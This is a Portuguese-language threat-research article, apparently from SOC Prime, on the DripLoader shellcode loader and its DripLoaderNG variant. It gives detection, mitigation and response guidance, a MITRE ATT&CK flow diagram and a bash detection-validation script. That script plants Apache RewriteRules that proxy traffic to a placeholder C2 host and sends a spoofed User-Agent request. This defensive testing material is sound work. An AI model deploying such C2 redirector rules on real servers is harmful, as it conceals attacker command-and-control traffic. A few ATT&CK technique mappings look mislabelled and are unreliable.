SOC Prime Bias: Médio

27 Nov 2025 19:23

Malware DripLoader: Execução de Shellcode e Evasão de Defesa

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Malware DripLoader: Execução de Shellcode e Evasão de Defesa
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O artigo examina o DripLoader, um carregador de shellcode que aloca memória, escreve o shellcode nela, altera permissões de página para executável e então o executa. Aborda como o carregador é entregue via um redirecionador HTTPS apoiado pela estrutura Havoc C2, e como seu código pode ser ofuscado com compressão e chamadas de sistema indiretas. O artigo também apresenta uma variante atualizada, DripLoaderNG, que depende de carregamento por .node e truques adicionais de evasão, junto com orientação prática de detecção e ferramentas de análise de memória.

Investigação

A investigação descreve uma configuração de laboratório onde o Havoc envia shellcode comprimido através de um redirecionador Apache personalizado. O carregador reserva regiões de 64 KB, comite páginas de 4 KB, modifica bandeiras de proteção e executa a carga útil. O DripLoaderNG introduz chamadas de sistema indiretas e carregamento de módulos .node voltados para a aplicação Slack Electron. A detecção é demonstrada usando ferramentas como Moneta, PE-sieve, e consultas KQL de apoio.

Mitigação

As etapas de mitigação incluem monitorar redirecionamentos HTTPS suspeitos, identificar strings de user-agent falsas, sinalizar arquivos .node raros e alavancar recursos EDR para identificar o comportamento de chamadas de sistema indiretas. Outras recomendações envolvem ajustar configurações do Sliver/Donut para reduzir a manipulação do AMSI e limitar a execução de módulos nativos não assinados.

Resposta

Quando atividade é detectada, isolar o endpoint impactado, parar o processo ofensivo, capturar dumps de memória e inspecionar o shellcode injetado. Bloquear o domínio ou IP C2, redefinir credenciais expostas, e implementar regras defensivas para o user-agent específico e indicadores de arquivos .node. Acompanhar com análise forense e atualizar conteúdo de detecção para cobrir padrões observados de chamadas de sistema indiretas.

mermaid graph TB %% Class Definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Technique Nodes step_initial_access[“<b>Técnica</b> – <b>T1090 Proxy</b><br/><b>Descrição</b>: Usa redirecionamentos HTTPS e um User-Agent falsificado para entregar cargas maliciosas e estabelecer comunicações de comando e controle sobre tráfego web.”] class step_initial_access technique step_c2[“<b>Técnica</b> – <b>T1102.002 Web Service: Comunicação Bidirecional</b><br/><b>Descrição</b>: Comunica-se com o atacante por meio de serviços web HTTPS, permitindo comando e controle bidirecional.”] class step_c2 technique step_obfusc_compress[“<b>Técnica</b> – <b>T1027.015 Compressão</b><br/><b>Descrição</b>: A carga é comprimida com LZMS para ocultar seu conteúdo de análises estáticas e defesas baseadas em assinatura.”] class step_obfusc_compress technique step_obfusc_compile[“<b>Técnica</b> – <b>T1027.004 Compilação Após Entrega</b><br/><b>Descrição</b>: A carga é compilada após a entrega para evadir ainda mais a detecção.”] class step_obfusc_compile technique step_process_injection[“<b>Técnica</b> – <b>T1055.002 Injeção de Executável Portável</b><br/><b>Descrição</b>: DripLoader aloca memória virtual, copia shellcode, muda proteções de página e o executa dentro de um processo legítimo.”] class step_process_injection technique step_reflective_loading[“<b>Técnica</b> – <b>T1620 Carregamento de Código Reflexivo</b><br/><b>Descrição</b>: Loader reflete o shellcode copiado na memória e o executa sem usar o carregador do sistema operacional.”] class step_reflective_loading technique step_dll_injection[“<b>Técnica</b> – <b>T1055.001 Injeção de Biblioteca de Ligação Dinâmica</b><br/><b>Descrição</b>: Módulo .node malicioso (uma DLL) é carregado no processo do Slack, permitindo a execução de código sob um aplicativo confiável.”] class step_dll_injection technique step_persistence[“<b>Técnica</b> – <b>T1546.009 DLLs de Certificação de Aplicativos</b><br/><b>Descrição</b>: A DLL carregada persiste ao registrar-se como uma DLL de Certificação de Aplicativos, garantindo execução no início do sistema.”] class step_persistence technique step_evasion_cred_api[“<b>Técnica</b> – <b>T1056.004 Gancho de API de Credenciais</b><br/><b>Descrição</b>: Usa chamadas de sistema indiretas para chamar APIs nativas do Windows, ignorando hooks EDR no modo usuário.”] class step_evasion_cred_api technique step_evasion_indicator_removal[“<b>Técnica</b> – <b>T1027.005 Remoção de Indicador de Ferramentas</b><br/><b>Descrição</b>: Modifica a configuração do Sliver/Donut para desativar o patching do AMSI, prevenindo a detecção por motores anti-malware.”] class step_evasion_indicator_removal technique step_evasion_stripped[“<b>Técnica</b> – <b>T1027.008 Cargas Depuradas</b><br/><b>Descrição</b>: Remove informações de depuração e metadados da carga para reduzir artefatos forenses.”] class step_evasion_stripped technique step_masquerade[“<b>Técnica</b> – <b>T1036.008 Mascarar Tipo de Arquivo</b><br/><b>Descrição</b>: Renomeia o arquivo .node malicioso para parecer um módulo nativo legítimo, integrando-se com os arquivos de aplicativo esperados.”] class step_masquerade technique step_server_component[“<b>Técnica</b> – <b>T1505.003 Componente de Software de Servidor: Shell Web</b><br/><b>Descrição</b>: Transfere shellcode e binários do loader via o redirecionador web, então os descomprime e executa no alvo.”] class step_server_component technique %% Operator Nodes op_obfusc((“AND”)) class op_obfusc operator op_evasion((“AND”)) class op_evasion operator %% Connections step_initial_access u002du002d>|leads_to| step_c2 step_c2 u002du002d>|leads_to| step_obfusc_compress step_c2 u002du002d>|leads_to| step_obfusc_compile step_obfusc_compress u002du002d>|part_of| op_obfusc step_obfusc_compile u002du002d>|part_of| op_obfusc op_obfusc u002du002d>|leads_to| step_process_injection step_process_injection u002du002d>|leads_to| step_reflective_loading step_reflective_loading u002du002d>|leads_to| step_dll_injection step_dll_injection u002du002d>|leads_to| step_persistence step_persistence u002du002d>|leads_to| step_evasion_cred_api step_persistence u002du002d>|leads_to| step_evasion_indicator_removal step_persistence u002du002d>|leads_to| step_evasion_stripped step_evasion_cred_api u002du002d>|part_of| op_evasion step_evasion_indicator_removal u002du002d>|part_of| op_evasion step_evasion_stripped u002du002d>|part_of| op_evasion op_evasion u002du002d>|leads_to| step_masquerade step_masquerade u002du002d>|leads_to| step_server_component

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação Pre-flight de Telemetria & Baseline deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e objetivar gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.

  • Narrativa do Ataque e Comandos:
    Um operador da infraestrutura maliciosa prepara o servidor web vítima para atuar como um canal para o servidor C2. Eles inserem duas RewriteRule diretrizes na configuração do host virtual do Apache: uma que faz proxy de todo o tráfego de entrada para https://C2.TeamServer.IP:443 ([P] e uma segunda que redireciona qualquer solicitação para um URL benigno do Google ([L,R=302]). Após recarregar o Apache, o atacante emite uma solicitação HTTP fabricada contendo a string exata de User-Agent falsa definida na regra Sigma. O Apache processa a solicitação, registra o User-Agent, e o mecanismo de reescrita registra a ação do proxy, satisfazendo ambas as condições de detecção.

  • Script de Teste de Regressão:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Script de validação de detecção do DripLoader
    # -------------------------------------------------
    
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    
    # 1. Fazer backup da configuração atual
    sudo cp "$APACHE_CONF" "$BACKUP_CONF"
    
    # 2. Inserir regras de rewrite maliciosas
    sudo bash -c "cat >> $APACHE_CONF <<'EOF'
    
    # BEGIN Regras de Teste DripLoader
    RewriteEngine On
    RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P]
    RewriteRule ^.*$ "https://www.google.com" [L,R=302]
    # END Regras de Teste DripLoader
    
    EOF"
    
    # 3. Recarregar Apache para aplicar mudanças
    sudo systemctl reload apache2
    
    # 4. Emitir solicitação maliciosa com o User-Agent fabricado exato
    curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.366" http://localhost/
    
    echo "Solicitação maliciosa enviada. Verifique o SIEM para alerta de detecção."
  • Comandos de Limpeza:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Limpeza de validação de detecção do DripLoader
    # -------------------------------------------------
    
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    
    # Restaurar configuração original
    if [[ -f "$BACKUP_CONF" ]]; then
        sudo cp "$BACKUP_CONF" "$APACHE_CONF"
        sudo systemctl reload apache2
        echo "Configuração original do Apache restaurada."
    else
        echo "Backup não encontrado; limpeza manual pode ser necessária."
    fi